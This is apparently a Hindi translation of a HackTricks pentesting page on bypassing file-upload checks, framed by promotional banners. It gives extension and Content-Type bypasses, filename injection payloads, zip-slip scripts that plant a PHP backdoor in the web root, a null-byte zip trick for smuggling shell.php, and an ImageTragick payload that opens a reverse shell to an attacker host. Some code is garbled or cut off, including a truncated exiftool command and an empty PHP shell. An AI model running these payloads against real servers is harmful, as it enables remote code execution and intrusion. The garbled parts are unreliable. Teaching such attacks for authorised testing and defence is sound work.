☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह - [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें - [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
# फ़ाइल अपलोड सामान्य मेथडोलॉजी 1. एक **डबल एक्सटेंशन** के साथ एक फ़ाइल अपलोड करने का प्रयास करें \(उदा। _file.png.php_ या _file.png.php5_\)। * PHP एक्सटेंशन: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_ * ASP एक्सटेंशन: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_ 2. एक्सटेंशन के कुछ अक्षरों को **अपरकेस** में परिवर्तित करने का प्रयास करें। जैसे: _.pHp, .pHP5, .PhAr ..._ 3. कुछ **डबल \(या अधिक\) एक्सटेंशन** अपलोड करने का प्रयास करें \(जो एक विशेष एक्सटेंशन की जांच करने वाली गलत विन्यासित जांच को छोड़ देती है\): 1. _file.png.php_ 2. _file.png.txt.php_ 4. **अपाचे गलत विन्यासों का शोध** करने के लिए **रिवर्स डबल एक्सटेंशन** अपलोड करें \(जहां कुछ भी एक्सटेंशन _.php_ के साथ होगा, लेकिन **अनिवार्य रूप से .php से समाप्त नहीं होगा** वहां कोड को निष्पादित करेगा\): * _उदा। file.php.png_ 5. **नल कैरेक्टर के साथ डबल एक्सटेंशन**: 1. _उदा। file.php%00.png_ 6. एक्सटेंशन के **अंत में कुछ विशेष वर्ण** जोड़ें_: %00, %20, \(कई डॉट्स\)...._ 1. _उदा। file.php%00_ 2. _उदा। file.php%20_ 3. _उदा। file.php...... --> विंडोज में जब एक फ़ाइल डॉट्स के साथ बनाई जाती है, तो वे हटा दिए जाएंगे \(इसलिए आप .php की जांच करने वाले फ़िल्टर को छल सकते हैं\)_ 4. _उदा। file.php/_ 5. _उदा। file.php.\_ 7. **Content-Type** **हैडर** के **मान** को सेट करके Content-Type जांच को छलने का प्रयास करें: _image/png_ , _text/plain , application/octet-stream_ 8. **मैजिक नंबर जांच** को छलने के लिए फ़ाइल की शुरुआत में एक वास्तविक छवि के **बाइट** जोड़ें \(फ़ाइल को गुमराह करें\)। या शेल को **मेटाडेटा** में प्रस्तुत करें: `exiftool -Comment=" $(python -c 'print("A"*(236-4)+".php"+".gif")') python3 -m http.server 9080 ``` ```bash #Download the file wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")') The name is too long, 240 chars total. Trying to shorten... New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php. --2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif Connecting to 127.0.0.1:9080... connected. HTTP request sent, awaiting response... 200 OK Length: 10 [image/gif] Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` नोट करें कि इस जांच को बाईपास करने के लिए आपके मन में एक और विकल्प हो सकता है, जो है कि **HTTP सर्वर को एक अलग फ़ाइल पर पुनर्निर्देशित करें**, तो प्रारंभिक URL जांच को बाईपास करेगा, फिर wget नए नाम के साथ पुनर्निर्देशित फ़ाइल को डाउनलोड करेगा। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग किया जा रहा हो, क्योंकि **wget पुनर्निर्देशित पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**। # फ़ाइल अपलोड से अन्य सुरक्षा दुरुपयोगों तक * **फ़ाइलनाम** को `../../../tmp/lol.png` सेट करें और पथ ट्रावर्सल प्राप्त करने का प्रयास करें * **फ़ाइलनाम** को `sleep(10)-- -.jpg` सेट करें और आप एक **SQL इंजेक्शन** प्राप्त कर सकते हैं * **फ़ाइलनाम** को `` सेट करें और एक **XSS** प्राप्त करें * **फ़ाइलनाम** को `; sleep 10;` सेट करें और कुछ कमांड इंजेक्शन का परीक्षण करें \(अधिक [कमांड इंजेक्शन ट्रिक्स यहां](command-injection.md)\) * [**छवि \(svg\) फ़ाइल अपलोड** में XSS](xss-cross-site-scripting/#xss-uploading-files-svg) * **JS** फ़ाइल **अपलोड** + **XSS** = [**सेवा कर्मचारी** शोषण](xss-cross-site-scripting/#xss-abusing-service-workers) * [**svg अपलोड में XXE**](xxe-xee-xml-external-entity.md#svg-file-upload) * [अपलोड करने के माध्यम से **ओपन रीडायरेक्ट**](open-redirect.md#open-redirect-uploading-svg-files) * [प्रसिद्ध **ImageTrick** सुरक्षा दुरुपयोग](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * यदि आप **वेब सर्वर को एक URL से छवि पकड़ने के लिए संकेत कर सकते हैं**, तो आप [SSRF](ssrf-server-side-request-forgery.md) का दुरुपयोग करने का प्रयास कर सकते हैं। यदि यह **छवि** किसी **सार्वजनिक** साइट में **सहेजी** जाएगी, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL निर्दिष्ट कर सकते हैं और **प्रत्येक आगंतुक की जानकारी चुरा सकते हैं**। यहां एक शीर्ष 10 सूची है जिनके द्वारा आप अपलोड करके कुछ प्राप्त कर सकते हैं \(स्रोत से [लिंक](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: वेबशेल / RCE 2. **SVG**: स्थायी XSS / SSRF / XXE 3. **GIF**: स्थायी XSS / SSRF 4. **CSV**: CSV इंजेक्शन 5. **XML**: XXE 6. **AVI**: LFI / SSRF 7. **HTML / JS** : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट 8. **PNG / JPEG**: पिक्सेल बाढ़ हमला \(DoS\) 9. **ZIP**: LFI के माध्यम से RCE / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE # ज़िप फ़ाइल स्वचालित रूप से डिकंप्रेस किए जाने वाले अपलोड यदि आप एक ज़िप अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होगा, तो आप दो चीजें कर सकते हैं: ## सिंबलिंक अन्य फ़ाइलों के लिए सॉफ़्ट लिंक्स को समर्पित एक लिंक अपलोड करें, फिर, डिकंप्रेस हुए फ़ाइलों तक पहुंचते हुए आप लिंकित फ़ाइलों तक पहुंचेंगे: ```text ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt ``` ## विभिन्न फ़ोल्डरों में डीकंप्रेस करें डीकंप्रेस किए गए फ़ाइलें अप्रत्याशित फ़ोल्डरों में बनाई जाएंगी। आसानी से सोचा जा सकता है कि यह सेटअप ख़राब फ़ाइल अपलोड के माध्यम से ओएस स्तर के कमांड निष्पादन से सुरक्षित है, लेकिन दुर्भाग्य से यह सच नहीं है। क्योंकि ZIP आर्काइव प्रारूप हार्कियर्कल कंप्रेशन को समर्थित करता है और हम उच्च स्तरीय निर्देशिकाओं का संदर्भ भी कर सकते हैं, हम लक्ष्य अनुप्रयोग की डीकंप्रेशन सुविधा का दुरुपयोग करके सुरक्षित अपलोड डायरेक्टरी से बाहर निकल सकते हैं। इस तरह की फ़ाइलें बनाने के लिए स्वचालित उत्पादन यहां मिल सकता है: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) ```python python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` कुछ पायथन कोड एक दुष्ट ज़िप बनाने के लिए: ```python import zipfile # Create a new zip file zip_file = zipfile.ZipFile('malicious.zip', 'w') # Add a malicious file to the zip zip_file.write('malicious_file.exe') # Close the zip file zip_file.close() ``` यहां `malicious_file.exe` एक दुष्ट फ़ाइल है जो आप ज़िप में शामिल करना चाहते हैं। आप इस कोड को चलाने के बाद, `malicious.zip` नामक एक नया ज़िप फ़ाइल बनेगी जिसमें यह दुष्ट फ़ाइल शामिल होगी। ```python #!/usr/bin/python import zipfile from cStringIO import StringIO def create_zip(): f = StringIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../../../var/www/html/webserver/shell.php', '') z.writestr('otherfile.xml', 'Content of the file') z.close() zip = open('poc.zip','wb') zip.write(f.getvalue()) zip.close() create_zip() ``` दूरस्थ कमांड निष्पादन को प्राप्त करने के लिए मैंने निम्नलिखित कदम उठाए: 1. एक PHP शैल बनाएं: ```php ``` 2. "फ़ाइल स्प्रे" का उपयोग करें और एक संपीड़ित ज़िप फ़ाइल बनाएं: ```text root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# ls *.php simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php root@s2crew:/tmp# zip cmd.zip xx*.php adding: xxAcmd.php (deflated 40%) adding: xxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%) root@s2crew:/tmp# ``` 3. हेक्स एडिटर या वीआई का उपयोग करें और "xxA" को "../" में बदलें, मैंने वीआई का उपयोग किया: ```text :set modifiable :%s/xxA/..\//g :x! ``` केवल एक कदम शेष रह गया: ZIP फ़ाइल अपलोड करें और ऐप्लिकेशन को इसे डीकंप्रेस करने दें! यदि यह सफल होता है और वेब सर्वर को निर्दिष्ट निर्देशिकाओं में लिखने के लिए पर्याप्त अधिकार होते हैं, तो सिस्टम पर एक साधारण ओएस कमांड निष्पादन शैली होगी: [![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png) **संदर्भ**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) ## एक अलग नाम के साथ डीकंप्रेस करें कभी-कभी ऐप्लिकेशन एक फ़ाइल के लोड होने को ब्लॉक कर देता है जबकि यह जांचता है कि ज़िप फ़ाइल के अंदर का एक्सटेंशन क्या है। यदि यह सतर्कता सतही है, अर्थात लोकल फ़ील्ड हैडर के अंदर की फ़ाइल के नाम की जांच करके, तो इसे ऐप्लिकेशन को धोखा देने के लिए दूसरे एक्सटेंशन के साथ बनाकर आप इसे चक्रव्यूह में डीकंप्रेस कर सकते हैं। हम पिछले स्क्रिप्ट को फिर से उपयोग करके एक ज़िप फ़ाइल बना सकते हैं। ```python import zipfile from io import BytesIO def create_zip(): f = BytesIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('shell.php .pdf', '') z.close() zip = open('poc.zip','wb') zip.write(f.getvalue()) zip.close() create_zip() ``` ध्यान दें कि नाम में इसके अंदर एक स्थान है। अब आप एक हेक्स संपादक के साथ उत्पन्न किए गए ज़िप फ़ाइल को संपादित कर सकते हैं, और केंद्रीय निर्देशिका हैडर के अंदर स्थित नाम में इस वर्ग को एक शून्य बाइट `00` से बदल सकते हैं: ```bash # before changing the name of the file inside the Central Directory header 00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd # after changing the name of the file inside the Central Directory header 00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd ``` जब एप्लिकेशन ज़िप के अंदर फ़ाइल के फ़ाइलनेम की जांच करेगा, तो इस जांच के लिए उपयोग किया जाने वाला नाम स्थानीय फ़ाइल हैडर का नाम होगा, **लेकिन अगर ज़िप एन्क्रिप्टेड है तो नहीं** (pkzip स्पेसिफिकेशन देखें)। जब 7z या unzip दो नामों के बीच अंतर देखेंगे, तो फ़ाइल को संग्रहीत करने के लिए उपयोग किया जाने वाला नाम सेंट्रल डायरेक्टरी हेडर का नाम होगा। नल बाइट के धन्यवाद से, नाम `shell.php` होगा। जब डीकंप्रेस किया जाएगा: ```bash 7z e poc.zip ls shell.php ``` **संदर्भ**: [https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html) [https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) # ImageTragic इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि यह सुरक्षा कमजोरी का उपयोग कर सके **\(ImageMagick, 7.0.1-1\)** ```text push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` # PGN में PHP शेल एम्बेड करना IDAT चंक में वेब शेल रखने का प्राथमिक कारण यह है कि इसके पास रीसाइज़ और री-सैंपलिंग ऑपरेशनों को छलने की क्षमता होती है - PHP-GD में इसे करने के लिए दो फ़ंक्शन होते हैं [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) और [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php). इस पोस्ट को पढ़ें: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) # पॉलीग्लॉट फ़ाइलें सुरक्षा संदर्भ में, पॉलीग्लॉट फ़ाइलें ऐसी फ़ाइलें हैं जो कई अलग-अलग फ़ाइल प्रकारों के मान्य रूप हैं। उदाहरण के लिए, [GIFAR](https://en.wikipedia.org/wiki/Gifar) एक GIF और RAR फ़ाइल दोनों है। वहां ऐसी भी फ़ाइलें हैं जो GIF और JS, PPT और JS, आदि दोनों हो सकती हैं। पॉलीग्लॉट फ़ाइलें अक्सर फ़ाइल प्रकार पर आधारित सुरक्षा से बचने के आधार पर सुरक्षा को छलने के लिए उपयोग की जाती हैं। बहुत सारे ऐप्लिकेशन उपयोगकर्ताओं को केवल निश्चित प्रकारों जैसे JPEG, GIF, DOC जैसी फ़ाइलें अपलोड करने की अनुमति देते हैं, ताकि उपयोगकर्ताओं को JS फ़ाइलें, PHP फ़ाइलें या Phar फ़ाइलें जैसी संभावित खतरनाक फ़ाइलें अपलोड करने से रोका जा सके। इससे ऐसी फ़ाइल को अपलोड करने में मदद मिलती है जो कई अलग-अलग प्रारूपों के साथ मेल खाती है। यह आपको एक PHAR फ़ाइल (PHp ARchive) को अपलोड करने की अनुमति देता है जो एक JPEG की तरह दिखती है, लेकिन शायद आपको एक मान्य एक्सटेंशन की भी आवश्यकता होगी और यदि अपलोड फ़ंक्शन इसे अनुमति नहीं देता है तो यह आपकी मदद नहीं करेगा। अधिक जानकारी: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने** की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! - खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह - प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) - **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**।